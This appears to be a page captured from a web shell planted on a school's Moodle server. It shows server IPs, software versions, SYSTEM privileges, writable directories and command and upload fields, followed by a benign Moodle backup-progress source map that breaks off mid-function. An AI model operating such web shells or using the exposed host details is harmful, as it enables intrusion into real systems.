403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.156
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/www/myschool/triamudom/tuprblearn/backup/util/ui/amd/build/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/www/myschool/triamudom/tuprblearn/backup/util/ui/amd/build/async_backup.min.js.map
{"version":3,"sources":["../src/async_backup.js"],"names":["define","$","ajax","Str","notification","Templates","STATUS_FINISHED_ERR","STATUS_FINISHED_OK","Asyncbackup","checkdelayoriginal","checkdelay","checkdelaymultipler","backupid","contextid","restoreurl","typeid","backupintervalid","allbackupintervalid","timeout","updateElement","percentage","percentagewidth","Math","round","elementbar","percentagetext","toFixed","attr","css","text","updateInterval","intervalid","callback","value","clearInterval","setInterval","updateBackupTableRow","statuscell","parent","tablerow","cellsiblings","siblings","timecell","timevalue","filenamecell","filename","call","methodname","args","done","response","context","time","size","filesize","fileurl","render","then","html","js","replaceNodeContents","fail","exception","Error","updateRestoreTableRow","coursecell","resourcename","updateProgress","progress","elementstatus","elementdetail","elementbutton","stringRequests","status","addClass","strProcessing","get_string","title","catch","removeClass","strStatus","strStatusDetail","key","component","get_strings","strings","children","last","strComplete","strDetail","strButton","param","updateProgressAll","forEach","element","type","operation","getBackupProgress","getAllBackupProgress","backupids","progressbars","find","not","each","push","id","substring","length","asyncBackupAllStatus","asyncBackupStatus","backup","restore","removeAttr"],"mappings":"AAyBAA,OAAM,4BAAC,CAAC,QAAD,CAAW,WAAX,CAAwB,UAAxB,CAAoC,mBAApC,CAAyD,gBAAzD,CAAD,CACE,SAASC,CAAT,CAAYC,CAAZ,CAAkBC,CAAlB,CAAuBC,CAAvB,CAAqCC,CAArC,CAAgD,IAQhDC,CAAAA,CAAmB,CAAG,GAR0B,CAShDC,CAAkB,CAAG,GAT2B,CAchDC,CAAW,CAAG,EAdkC,CAehDC,CAAkB,CAAG,IAf2B,CAgBhDC,CAAU,CAAG,IAhBmC,CAiBhDC,CAAmB,CAAG,GAjB0B,CAkBhDC,CAlBgD,CAmBhDC,CAnBgD,CAoBhDC,CApBgD,CAqBhDC,CArBgD,CAsBhDC,CAtBgD,CAuBhDC,CAvBgD,CAwBhDC,CAAO,CAAG,GAxBsC,CAgCpD,QAASC,CAAAA,CAAT,CAAuBP,CAAvB,CAAiCQ,CAAjC,CAA6C,IACrCC,CAAAA,CAAe,CAAGC,IAAI,CAACC,KAAL,CAAWH,CAAX,EAAyB,GADN,CAErCI,CAAU,CAAGvB,CAAC,CAAC,IAAMW,CAAN,CAAiB,MAAlB,CAFuB,CAGrCa,CAAc,CAAGL,CAAU,CAACM,OAAX,CAAmB,CAAnB,EAAwB,GAHJ,CAMzCF,CAAU,CAACG,IAAX,CAAgB,eAAhB,CAAiCN,CAAjC,EACAG,CAAU,CAACI,GAAX,CAAe,OAAf,CAAwBP,CAAxB,EACAG,CAAU,CAACK,IAAX,CAAgBJ,CAAhB,CACH,CAUD,QAASK,CAAAA,CAAT,CAAwBC,CAAxB,CAAoCC,CAApC,CAA8CC,CAA9C,CAAqD,CACjDC,aAAa,CAACH,CAAD,CAAb,CACA,MAAOI,CAAAA,WAAW,CAACH,CAAD,CAAWC,CAAX,CACrB,CAOD,QAASG,CAAAA,CAAT,CAA8BxB,CAA9B,CAAwC,IAChCyB,CAAAA,CAAU,CAAGpC,CAAC,CAAC,IAAMW,CAAN,CAAiB,MAAlB,CAAD,CAA2B0B,MAA3B,GAAoCA,MAApC,EADmB,CAEhCC,CAAQ,CAAGF,CAAU,CAACC,MAAX,EAFqB,CAGhCE,CAAY,CAAGH,CAAU,CAACI,QAAX,EAHiB,CAIhCC,CAAQ,CAAGF,CAAY,CAAC,CAAD,CAJS,CAKhCG,CAAS,CAAG1C,CAAC,CAACyC,CAAD,CAAD,CAAYb,IAAZ,EALoB,CAMhCe,CAAY,CAAGJ,CAAY,CAAC,CAAD,CANK,CAOhCK,CAAQ,CAAG5C,CAAC,CAAC2C,CAAD,CAAD,CAAgBf,IAAhB,EAPqB,CASpC3B,CAAI,CAAC4C,IAAL,CAAU,CAAC,CAEPC,UAAU,CAAE,2CAFL,CAGPC,IAAI,CAAE,CACF,SAAYH,CADV,CAEF,UAAahC,CAFX,CAHC,CAAD,CAAV,EAOI,CAPJ,EAOOoC,IAPP,CAOY,SAASC,CAAT,CAAmB,CAE3B,GAAIC,CAAAA,CAAO,CAAG,CACNN,QAAQ,CAAEA,CADJ,CAENO,IAAI,CAAET,CAFA,CAGNU,IAAI,CAAEH,CAAQ,CAACI,QAHT,CAINC,OAAO,CAAEL,CAAQ,CAACK,OAJZ,CAKNzC,UAAU,CAAEoC,CAAQ,CAACpC,UALf,CAAd,CAQAT,CAAS,CAACmD,MAAV,CAAiB,gCAAjB,CAAmDL,CAAnD,EAA4DM,IAA5D,CAAiE,SAASC,CAAT,CAAeC,CAAf,CAAmB,CAChFtD,CAAS,CAACuD,mBAAV,CAA8BrB,CAA9B,CAAwCmB,CAAxC,CAA8CC,CAA9C,CAEH,CAHD,EAGGE,IAHH,CAGQ,UAAW,CACfzD,CAAY,CAAC0D,SAAb,CAAuB,GAAIC,CAAAA,KAAJ,CAAU,0BAAV,CAAvB,CAEH,CAND,CAOH,CAxBD,CAyBH,CAOD,QAASC,CAAAA,CAAT,CAA+BpD,CAA/B,CAAyC,IACjCyB,CAAAA,CAAU,CAAGpC,CAAC,CAAC,IAAMW,CAAN,CAAiB,MAAlB,CAAD,CAA2B0B,MAA3B,GAAoCA,MAApC,EADoB,CAEjCC,CAAQ,CAAGF,CAAU,CAACC,MAAX,EAFsB,CAGjCE,CAAY,CAAGH,CAAU,CAACI,QAAX,EAHkB,CAIjCwB,CAAU,CAAGzB,CAAY,CAAC,CAAD,CAJQ,CAKjCE,CAAQ,CAAGF,CAAY,CAAC,CAAD,CALU,CAMjCG,CAAS,CAAG1C,CAAC,CAACyC,CAAD,CAAD,CAAYb,IAAZ,EANqB,CAQrC3B,CAAI,CAAC4C,IAAL,CAAU,CAAC,CAEPC,UAAU,CAAE,4CAFL,CAGPC,IAAI,CAAE,CACF,SAAYpC,CADV,CAEF,UAAaC,CAFX,CAHC,CAAD,CAAV,EAOI,CAPJ,EAOOoC,IAPP,CAOY,SAASC,CAAT,CAAmB,IAEvBgB,CAAAA,CAAY,CAAGjE,CAAC,CAACgE,CAAD,CAAD,CAAcpC,IAAd,EAFQ,CAGvBsB,CAAO,CAAG,CACNe,YAAY,CAAEA,CADR,CAENpD,UAAU,CAAEoC,CAAQ,CAACpC,UAFf,CAGNsC,IAAI,CAAET,CAHA,CAHa,CAS3BtC,CAAS,CAACmD,MAAV,CAAiB,iCAAjB,CAAoDL,CAApD,EAA6DM,IAA7D,CAAkE,SAASC,CAAT,CAAeC,CAAf,CAAmB,CACjFtD,CAAS,CAACuD,mBAAV,CAA8BrB,CAA9B,CAAwCmB,CAAxC,CAA8CC,CAA9C,CAEH,CAHD,EAGGE,IAHH,CAGQ,UAAW,CACfzD,CAAY,CAAC0D,SAAb,CAAuB,GAAIC,CAAAA,KAAJ,CAAU,0BAAV,CAAvB,CAEH,CAND,CAOH,CAvBD,CAwBH,CAQD,QAASI,CAAAA,CAAT,CAAwBC,CAAxB,CAAkC,IAC1BhD,CAAAA,CAAU,CAAuB,GAApB,CAAAgD,CAAQ,CAACA,QADI,CAE1B5C,CAAU,CAAGvB,CAAC,CAAC,IAAMW,CAAN,CAAiB,MAAlB,CAFY,CAG1ByD,CAAa,CAAGpE,CAAC,CAAC,IAAMW,CAAN,CAAiB,SAAlB,CAHS,CAI1B0D,CAAa,CAAGrE,CAAC,CAAC,IAAMW,CAAN,CAAiB,SAAlB,CAJS,CAK1B2D,CAAa,CAAGtE,CAAC,CAAC,IAAMW,CAAN,CAAiB,SAAlB,CALS,CAM1B4D,CAN0B,CAQ9B,GAAIJ,CAAQ,CAACK,MAAT,KAAJ,CAAyC,CAGrCjD,CAAU,CAACkD,QAAX,CAAoB,YAApB,EAEAvD,CAAa,CAACP,CAAD,CAAWQ,CAAX,CAAb,CAGA,GAAIuD,CAAAA,CAAa,CAAG,QAAU5D,CAAV,CAAmB,YAAvC,CACAZ,CAAG,CAACyE,UAAJ,CAAeD,CAAf,CAA8B,QAA9B,EAAwClB,IAAxC,CAA6C,SAASoB,CAAT,CAAgB,CACzDR,CAAa,CAACxC,IAAd,CAAmBgD,CAAnB,EACA,MAAOA,CAAAA,CACV,CAHD,EAGGC,KAHH,CAGS,UAAW,CAChB1E,CAAY,CAAC0D,SAAb,CAAuB,GAAIC,CAAAA,KAAJ,CAAU,iCAAmCY,CAA7C,CAAvB,CACH,CALD,CAOH,CAhBD,IAgBO,IAAIP,CAAQ,CAACK,MAAT,EAAmBnE,CAAvB,CAA4C,CAI/CkB,CAAU,CAACkD,QAAX,CAAoB,WAApB,EAGAlD,CAAU,CAACuD,WAAX,CAAuB,YAAvB,EAEA5D,CAAa,CAACP,CAAD,CAAW,GAAX,CAAb,CAT+C,GAY3CoE,CAAAA,CAAS,CAAG,QAAUjE,CAAV,CAAmB,OAZY,CAa3CkE,CAAe,CAAG,QAAUlE,CAAV,CAAmB,aAbM,CAc/CyD,CAAc,CAAG,CACb,CAACU,GAAG,CAAEF,CAAN,CAAiBG,SAAS,CAAE,QAA5B,CADa,CAEb,CAACD,GAAG,CAAED,CAAN,CAAuBE,SAAS,CAAE,QAAlC,CAFa,CAAjB,CAIAhF,CAAG,CAACiF,WAAJ,CAAgBZ,CAAhB,EAAgCf,IAAhC,CAAqC,SAAS4B,CAAT,CAAkB,CACnDhB,CAAa,CAACxC,IAAd,CAAmBwD,CAAO,CAAC,CAAD,CAA1B,EACAf,CAAa,CAACzC,IAAd,CAAmBwD,CAAO,CAAC,CAAD,CAA1B,EAEA,MAAOA,CAAAA,CACV,CALD,EAMCP,KAND,CAMO,UAAW,CACd1E,CAAY,CAAC0D,SAAb,CAAuB,GAAIC,CAAAA,KAAJ,CAAU,uBAAV,CAAvB,CAEH,CATD,EAWA9D,CAAC,CAAC,kBAAD,CAAD,CAAsBqF,QAAtB,CAA+B,MAA/B,EAAuCP,WAAvC,CAAmD,sBAAnD,EACA9E,CAAC,CAAC,kBAAD,CAAD,CAAsBqF,QAAtB,CAA+B,MAA/B,EAAuCC,IAAvC,GAA8Cb,QAA9C,CAAuD,sBAAvD,EAGAxC,aAAa,CAAClB,CAAD,CAEhB,CAnCM,IAmCA,IAAIoD,CAAQ,CAACK,MAAT,EAAmBlE,CAAvB,CAA2C,CAI9CiB,CAAU,CAACkD,QAAX,CAAoB,YAApB,EAEAvD,CAAa,CAACP,CAAD,CAAW,GAAX,CAAb,CAGA,GAAI4E,CAAAA,CAAW,CAAG,QAAUzE,CAAV,CAAmB,UAArC,CACAZ,CAAG,CAACyE,UAAJ,CAAeY,CAAf,CAA4B,QAA5B,EAAsC/B,IAAtC,CAA2C,SAASoB,CAAT,CAAgB,CACvDR,CAAa,CAACxC,IAAd,CAAmBgD,CAAnB,EACA,MAAOA,CAAAA,CACV,CAHD,EAGGC,KAHH,CAGS,UAAW,CAChB1E,CAAY,CAAC0D,SAAb,CAAuB,GAAIC,CAAAA,KAAJ,CAAU,iCAAmCyB,CAA7C,CAAvB,CACH,CALD,EAOA,GAAc,SAAV,EAAAzE,CAAJ,CAAyB,CACrBb,CAAI,CAAC4C,IAAL,CAAU,CAAC,CAEPC,UAAU,CAAE,4CAFL,CAGPC,IAAI,CAAE,CACF,SAAYpC,CADV,CAEF,UAAaC,CAFX,CAHC,CAAD,CAAV,EAOI,CAPJ,EAOOoC,IAPP,CAOY,SAASC,CAAT,CAAmB,IACvBuC,CAAAA,CAAS,CAAG,QAAU1E,CAAV,CAAmB,gBADR,CAEvB2E,CAAS,CAAG,QAAU3E,CAAV,CAAmB,gBAFR,CAGvByD,CAAc,CAAG,CACjB,CAACU,GAAG,CAAEO,CAAN,CAAiBN,SAAS,CAAE,QAA5B,CAAsCQ,KAAK,CAAEzC,CAAQ,CAACpC,UAAtD,CADiB,CAEjB,CAACoE,GAAG,CAAEQ,CAAN,CAAiBP,SAAS,CAAE,QAA5B,CAFiB,CAHM,CAO3BhF,CAAG,CAACiF,WAAJ,CAAgBZ,CAAhB,EAAgCf,IAAhC,CAAqC,SAAS4B,CAAT,CAAkB,CACnDf,CAAa,CAACZ,IAAd,CAAmB2B,CAAO,CAAC,CAAD,CAA1B,EACAd,CAAa,CAAC1C,IAAd,CAAmBwD,CAAO,CAAC,CAAD,CAA1B,EACAd,CAAa,CAAC5C,IAAd,CAAmB,MAAnB,CAA2BuB,CAAQ,CAACpC,UAApC,EAEA,MAAOuE,CAAAA,CACV,CAND,EAOCP,KAPD,CAOO,UAAW,CACd1E,CAAY,CAAC0D,SAAb,CAAuB,GAAIC,CAAAA,KAAJ,CAAU,uBAAV,CAAvB,CAEH,CAVD,CAYH,CA1BD,CA2BH,CA5BD,IA4BO,IACC0B,CAAAA,CAAS,CAAG,QAAU1E,CAAV,CAAmB,gBADhC,CAEC2E,CAAS,CAAG,QAAU3E,CAAV,CAAmB,gBAFhC,CAGHyD,CAAc,CAAG,CACb,CAACU,GAAG,CAAEO,CAAN,CAAiBN,SAAS,CAAE,QAA5B,CAAsCQ,KAAK,CAAE7E,CAA7C,CADa,CAEb,CAACoE,GAAG,CAAEQ,CAAN,CAAiBP,SAAS,CAAE,QAA5B,CAFa,CAAjB,CAIAhF,CAAG,CAACiF,WAAJ,CAAgBZ,CAAhB,EAAgCf,IAAhC,CAAqC,SAAS4B,CAAT,CAAkB,CACnDf,CAAa,CAACZ,IAAd,CAAmB2B,CAAO,CAAC,CAAD,CAA1B,EACAd,CAAa,CAAC1C,IAAd,CAAmBwD,CAAO,CAAC,CAAD,CAA1B,EACAd,CAAa,CAAC5C,IAAd,CAAmB,MAAnB,CAA2Bb,CAA3B,EAEA,MAAOuE,CAAAA,CACV,CAND,EAOCP,KAPD,CAOO,UAAW,CACd1E,CAAY,CAAC0D,SAAb,CAAuB,GAAIC,CAAAA,KAAJ,CAAU,uBAAV,CAAvB,CAEH,CAVD,CAYH,CAED9D,CAAC,CAAC,kBAAD,CAAD,CAAsBqF,QAAtB,CAA+B,MAA/B,EAAuCP,WAAvC,CAAmD,sBAAnD,EACA9E,CAAC,CAAC,kBAAD,CAAD,CAAsBqF,QAAtB,CAA+B,MAA/B,EAAuCC,IAAvC,GAA8Cb,QAA9C,CAAuD,sBAAvD,EAGAxC,aAAa,CAAClB,CAAD,CAChB,CACJ,CAQD,QAAS4E,CAAAA,CAAT,CAA2BxB,CAA3B,CAAqC,CACjCA,CAAQ,CAACyB,OAAT,CAAiB,SAASC,CAAT,CAAkB,IAC3B1E,CAAAA,CAAU,CAAsB,GAAnB,CAAA0E,CAAO,CAAC1B,QADM,CAE3BxD,CAAQ,CAAGkF,CAAO,CAAClF,QAFQ,CAG3BY,CAAU,CAAGvB,CAAC,CAAC,IAAMW,CAAN,CAAiB,MAAlB,CAHa,CAI3BmF,CAAI,CAAGD,CAAO,CAACE,SAJY,CAM/B,GAAIF,CAAO,CAACrB,MAAR,KAAJ,CAAwC,CAIpCjD,CAAU,CAACkD,QAAX,CAAoB,YAApB,EAEAvD,CAAa,CAACP,CAAD,CAAWQ,CAAX,CAEhB,CARD,IAQO,IAAI0E,CAAO,CAACrB,MAAR,EAAkBnE,CAAtB,CAA2C,CAI9CkB,CAAU,CAACkD,QAAX,CAAoB,WAApB,EACAlD,CAAU,CAACkD,QAAX,CAAoB,UAApB,EAGAzE,CAAC,CAAC,IAAMW,CAAN,CAAiB,MAAlB,CAAD,CAA2BmE,WAA3B,CAAuC,YAAvC,EAEA5D,CAAa,CAACP,CAAD,CAAW,GAAX,CAEhB,CAZM,IAYA,IAAIkF,CAAO,CAACrB,MAAR,EAAkBlE,CAAtB,CAA0C,CAI7CiB,CAAU,CAACkD,QAAX,CAAoB,YAApB,EACAlD,CAAU,CAACkD,QAAX,CAAoB,UAApB,EAEAvD,CAAa,CAACP,CAAD,CAAW,GAAX,CAAb,CAGA,GAAY,QAAR,EAAAmF,CAAJ,CAAsB,CAClB3D,CAAoB,CAACxB,CAAD,CACvB,CAFD,IAEO,CACHoD,CAAqB,CAACpD,CAAD,CACxB,CAEJ,CAEJ,CA5CD,CA6CH,CAKD,QAASqF,CAAAA,CAAT,EAA6B,CACzB/F,CAAI,CAAC4C,IAAL,CAAU,CAAC,CAEPC,UAAU,CAAE,uCAFL,CAGPC,IAAI,CAAE,CACF,UAAa,CAACpC,CAAD,CADX,CAEF,UAAaC,CAFX,CAHC,CAAD,CAAV,UAOuBK,CAPvB,EAOgC,CAPhC,EAOmC+B,IAPnC,CAOwC,SAASC,CAAT,CAAmB,CAEvDiB,CAAc,CAACjB,CAAQ,CAAC,CAAD,CAAT,CAAd,CACAxC,CAAU,CAAGD,CAAb,CACAO,CAAgB,CAAGc,CAAc,CAACd,CAAD,CAAmBiF,CAAnB,CAAsCxF,CAAtC,CACpC,CAZD,EAYGoD,IAZH,CAYQ,UAAW,CACfnD,CAAU,CAAGA,CAAU,CAAGC,CAA1B,CACAK,CAAgB,CAAGc,CAAc,CAACd,CAAD,CAAmBiF,CAAnB,CAAsCvF,CAAtC,CACpC,CAfD,CAgBH,CAKD,QAASwF,CAAAA,CAAT,EAAgC,IACxBC,CAAAA,CAAS,CAAG,EADY,CAExBC,CAAY,CAAGnG,CAAC,CAAC,WAAD,CAAD,CAAeoG,IAAf,CAAoB,eAApB,EAAqCC,GAArC,CAAyC,WAAzC,CAFS,CAI5BF,CAAY,CAACG,IAAb,CAAkB,UAAW,CACzBJ,CAAS,CAACK,IAAV,CAAgB,KAAKC,EAAN,CAAUC,SAAV,CAAoB,CAApB,CAAuB,EAAvB,CAAf,CACH,CAFD,EAIA,GAAuB,CAAnB,CAAAP,CAAS,CAACQ,MAAd,CAA0B,CACtBzG,CAAI,CAAC4C,IAAL,CAAU,CAAC,CAEPC,UAAU,CAAE,uCAFL,CAGPC,IAAI,CAAE,CACF,UAAamD,CADX,CAEF,UAAatF,CAFX,CAHC,CAAD,CAAV,UAOuBK,CAPvB,EAOgC,CAPhC,EAOmC+B,IAPnC,CAOwC,SAASC,CAAT,CAAmB,CACvD0C,CAAiB,CAAC1C,CAAD,CAAjB,CACAxC,CAAU,CAAGD,CAAb,CACAQ,CAAmB,CAAGa,CAAc,CAACb,CAAD,CAAsBiF,CAAtB,CAA4CzF,CAA5C,CACvC,CAXD,EAWGoD,IAXH,CAWQ,UAAW,CACfnD,CAAU,CAAGA,CAAU,CAAGC,CAA1B,CACAM,CAAmB,CAAGa,CAAc,CAACb,CAAD,CAAsBiF,CAAtB,CAA4CxF,CAA5C,CACvC,CAdD,CAeH,CAhBD,IAgBO,CACHwB,aAAa,CAACjB,CAAD,CAChB,CACJ,CAQDT,CAAW,CAACoG,oBAAZ,CAAmC,SAASzD,CAAT,CAAkB,CACjDtC,CAAS,CAAGsC,CAAZ,CACAlC,CAAmB,CAAGkB,WAAW,CAAC+D,CAAD,CAAuBxF,CAAvB,CACpC,CAHD,CAcAF,CAAW,CAACqG,iBAAZ,CAAgC,SAASC,CAAT,CAAiB3D,CAAjB,CAA0B4D,CAA1B,CAAmChB,CAAnC,CAAyC,CACrEnF,CAAQ,CAAGkG,CAAX,CACAjG,CAAS,CAAGsC,CAAZ,CACArC,CAAU,CAAGiG,CAAb,CAEA,GAAY,QAAR,EAAAhB,CAAJ,CAAsB,CAClBhF,CAAM,CAAG,QACZ,CAFD,IAEO,CACHA,CAAM,CAAG,SACZ,CAGDd,CAAC,CAAC,kBAAD,CAAD,CAAsBqF,QAAtB,CAA+B,GAA/B,EAAoC0B,UAApC,CAA+C,MAA/C,EAGAhG,CAAgB,CAAGmB,WAAW,CAAC8D,CAAD,CAAoBvF,CAApB,CAE/B,CAjBH,CAmBE,MAAOF,CAAAA,CACZ,CAxaK,CAAN","sourcesContent":["// This file is part of Moodle - http://moodle.org/\n//\n// Moodle is free software: you can redistribute it and/or modify\n// it under the terms of the GNU General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// Moodle is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n// GNU General Public License for more details.\n//\n// You should have received a copy of the GNU General Public License\n// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.\n\n/**\n * This module updates the UI during an asynchronous\n * backup or restore process.\n *\n * @module     backup/util/async_backup\n * @package    core\n * @copyright  2018 Matt Porritt <[email protected]>\n * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later\n * @since      3.7\n */\ndefine(['jquery', 'core/ajax', 'core/str', 'core/notification', 'core/templates'],\n        function($, ajax, Str, notification, Templates) {\n\n    /**\n     * Module level constants.\n     *\n     * Using var instead of const as ES6 isn't fully supported yet.\n     */\n    var STATUS_EXECUTING = 800;\n    var STATUS_FINISHED_ERR = 900;\n    var STATUS_FINISHED_OK = 1000;\n\n    /**\n     * Module level variables.\n     */\n    var Asyncbackup = {};\n    var checkdelayoriginal = 15000; // This is the default time to use.\n    var checkdelay = 15000; // How often we should check for progress updates.\n    var checkdelaymultipler = 1.5; // If a request fails this multiplier will be used to increase the checkdelay value\n    var backupid; //  The backup id to get the progress for.\n    var contextid; //  The course this backup progress is for.\n    var restoreurl; //  The URL to view course restores.\n    var typeid; //  The type of operation backup or restore.\n    var backupintervalid; //  The id of the setInterval function.\n    var allbackupintervalid; //  The id of the setInterval function.\n    var timeout = 2000; // Timeout for ajax requests.\n\n    /**\n     * Helper function to update UI components.\n     *\n     * @param {string} backupid The id to match elements on.\n     * @param {number} percentage The completion percentage to apply.\n     */\n    function updateElement(backupid, percentage) {\n        var percentagewidth = Math.round(percentage) + '%';\n        var elementbar = $('#' + backupid + '_bar');\n        var percentagetext = percentage.toFixed(2) + '%';\n\n        // Set progress bar percentage indicators\n        elementbar.attr('aria-valuenow', percentagewidth);\n        elementbar.css('width', percentagewidth);\n        elementbar.text(percentagetext);\n    }\n\n    /**\n     * Updates the interval we use to check for backup progress.\n     *\n     * @param {Number} intervalid The id of the interval\n     * @param {Function} callback The function to use in setInterval\n     * @param {Number} value The specified interval (in milliseconds)\n     * @returns {Number}\n     */\n    function updateInterval(intervalid, callback, value) {\n        clearInterval(intervalid);\n        return setInterval(callback, value);\n    }\n\n    /**\n     * Update backup table row when an async backup completes.\n     *\n     * @param {string} backupid The id to match elements on.\n     */\n    function updateBackupTableRow(backupid) {\n        var statuscell = $('#' + backupid + '_bar').parent().parent();\n        var tablerow = statuscell.parent();\n        var cellsiblings = statuscell.siblings();\n        var timecell = cellsiblings[1];\n        var timevalue = $(timecell).text();\n        var filenamecell = cellsiblings[0];\n        var filename = $(filenamecell).text();\n\n        ajax.call([{\n            // Get the table data via webservice.\n            methodname: 'core_backup_get_async_backup_links_backup',\n            args: {\n                'filename': filename,\n                'contextid': contextid\n            },\n        }])[0].done(function(response) {\n            // We have the data now update the UI.\n            var context = {\n                    filename: filename,\n                    time: timevalue,\n                    size: response.filesize,\n                    fileurl: response.fileurl,\n                    restoreurl: response.restoreurl\n                    };\n\n            Templates.render('core/async_backup_progress_row', context).then(function(html, js) {\n                Templates.replaceNodeContents(tablerow, html, js);\n                return;\n            }).fail(function() {\n                notification.exception(new Error('Failed to load table row'));\n                return;\n            });\n        });\n    }\n\n    /**\n     * Update restore table row when an async restore completes.\n     *\n     * @param {string} backupid The id to match elements on.\n     */\n    function updateRestoreTableRow(backupid) {\n        var statuscell = $('#' + backupid + '_bar').parent().parent();\n        var tablerow = statuscell.parent();\n        var cellsiblings = statuscell.siblings();\n        var coursecell = cellsiblings[0];\n        var timecell = cellsiblings[1];\n        var timevalue = $(timecell).text();\n\n        ajax.call([{\n            // Get the table data via webservice.\n            methodname: 'core_backup_get_async_backup_links_restore',\n            args: {\n                'backupid': backupid,\n                'contextid': contextid\n            },\n        }])[0].done(function(response) {\n         // We have the data now update the UI.\n            var resourcename = $(coursecell).text();\n            var context = {\n                    resourcename: resourcename,\n                    restoreurl: response.restoreurl,\n                    time: timevalue\n                    };\n\n            Templates.render('core/async_restore_progress_row', context).then(function(html, js) {\n                Templates.replaceNodeContents(tablerow, html, js);\n                return;\n            }).fail(function() {\n                notification.exception(new Error('Failed to load table row'));\n                return;\n            });\n        });\n    }\n\n    /**\n     * Update the Moodle user interface with the progress of\n     * the backup process.\n     *\n     * @param {object} progress The progress and status of the process.\n     */\n    function updateProgress(progress) {\n        var percentage = progress.progress * 100;\n        var elementbar = $('#' + backupid + '_bar');\n        var elementstatus = $('#' + backupid + '_status');\n        var elementdetail = $('#' + backupid + '_detail');\n        var elementbutton = $('#' + backupid + '_button');\n        var stringRequests;\n\n        if (progress.status == STATUS_EXECUTING) {\n            // Process is in progress.\n            // Add in progress class color to bar\n            elementbar.addClass('bg-success');\n\n            updateElement(backupid, percentage);\n\n            // Change heading\n            var strProcessing = 'async' + typeid + 'processing';\n            Str.get_string(strProcessing, 'backup').then(function(title) {\n                elementstatus.text(title);\n                return title;\n            }).catch(function() {\n                notification.exception(new Error('Failed to load string: backup ' + strProcessing));\n            });\n\n        } else if (progress.status == STATUS_FINISHED_ERR) {\n            // Process completed with error.\n\n            // Add in fail class color to bar\n            elementbar.addClass('bg-danger');\n\n            // Remove in progress class color to bar\n            elementbar.removeClass('bg-success');\n\n            updateElement(backupid, 100);\n\n            // Change heading and text\n            var strStatus = 'async' + typeid + 'error';\n            var strStatusDetail = 'async' + typeid + 'errordetail';\n            stringRequests = [\n                {key: strStatus, component: 'backup'},\n                {key: strStatusDetail, component: 'backup'}\n            ];\n            Str.get_strings(stringRequests).then(function(strings) {\n                elementstatus.text(strings[0]);\n                elementdetail.text(strings[1]);\n\n                return strings;\n            })\n            .catch(function() {\n                notification.exception(new Error('Failed to load string'));\n                return;\n            });\n\n            $('.backup_progress').children('span').removeClass('backup_stage_current');\n            $('.backup_progress').children('span').last().addClass('backup_stage_current');\n\n            // Stop checking when we either have an error or a completion.\n            clearInterval(backupintervalid);\n\n        } else if (progress.status == STATUS_FINISHED_OK) {\n            // Process completed successfully.\n\n            // Add in progress class color to bar\n            elementbar.addClass('bg-success');\n\n            updateElement(backupid, 100);\n\n            // Change heading and text\n            var strComplete = 'async' + typeid + 'complete';\n            Str.get_string(strComplete, 'backup').then(function(title) {\n                elementstatus.text(title);\n                return title;\n            }).catch(function() {\n                notification.exception(new Error('Failed to load string: backup ' + strComplete));\n            });\n\n            if (typeid == 'restore') {\n                ajax.call([{\n                    // Get the table data via webservice.\n                    methodname: 'core_backup_get_async_backup_links_restore',\n                    args: {\n                        'backupid': backupid,\n                        'contextid': contextid\n                    },\n                }])[0].done(function(response) {\n                    var strDetail = 'async' + typeid + 'completedetail';\n                    var strButton = 'async' + typeid + 'completebutton';\n                    var stringRequests = [\n                        {key: strDetail, component: 'backup', param: response.restoreurl},\n                        {key: strButton, component: 'backup'}\n                    ];\n                    Str.get_strings(stringRequests).then(function(strings) {\n                        elementdetail.html(strings[0]);\n                        elementbutton.text(strings[1]);\n                        elementbutton.attr('href', response.restoreurl);\n\n                        return strings;\n                    })\n                    .catch(function() {\n                        notification.exception(new Error('Failed to load string'));\n                        return;\n                    });\n\n                });\n            } else {\n                var strDetail = 'async' + typeid + 'completedetail';\n                var strButton = 'async' + typeid + 'completebutton';\n                stringRequests = [\n                    {key: strDetail, component: 'backup', param: restoreurl},\n                    {key: strButton, component: 'backup'}\n                ];\n                Str.get_strings(stringRequests).then(function(strings) {\n                    elementdetail.html(strings[0]);\n                    elementbutton.text(strings[1]);\n                    elementbutton.attr('href', restoreurl);\n\n                    return strings;\n                })\n                .catch(function() {\n                    notification.exception(new Error('Failed to load string'));\n                    return;\n                });\n\n            }\n\n            $('.backup_progress').children('span').removeClass('backup_stage_current');\n            $('.backup_progress').children('span').last().addClass('backup_stage_current');\n\n            // Stop checking when we either have an error or a completion.\n            clearInterval(backupintervalid);\n        }\n    }\n\n    /**\n     * Update the Moodle user interface with the progress of\n     * all the pending processes.\n     *\n     * @param {object} progress The progress and status of the process.\n     */\n    function updateProgressAll(progress) {\n        progress.forEach(function(element) {\n            var percentage = element.progress * 100;\n            var backupid = element.backupid;\n            var elementbar = $('#' + backupid + '_bar');\n            var type = element.operation;\n\n            if (element.status == STATUS_EXECUTING) {\n                // Process is in element.\n\n                // Add in element class color to bar\n                elementbar.addClass('bg-success');\n\n                updateElement(backupid, percentage);\n\n            } else if (element.status == STATUS_FINISHED_ERR) {\n                // Process completed with error.\n\n                // Add in fail class color to bar\n                elementbar.addClass('bg-danger');\n                elementbar.addClass('complete');\n\n                // Remove in element class color to bar\n                $('#' + backupid + '_bar').removeClass('bg-success');\n\n                updateElement(backupid, 100);\n\n            } else if (element.status == STATUS_FINISHED_OK) {\n                // Process completed successfully.\n\n                // Add in element class color to bar\n                elementbar.addClass('bg-success');\n                elementbar.addClass('complete');\n\n                updateElement(backupid, 100);\n\n                // We have a successful backup. Update the UI with download and file details.\n                if (type == 'backup') {\n                    updateBackupTableRow(backupid);\n                } else {\n                    updateRestoreTableRow(backupid);\n                }\n\n            }\n\n        });\n    }\n\n    /**\n     * Get the progress of the backup process via ajax.\n     */\n    function getBackupProgress() 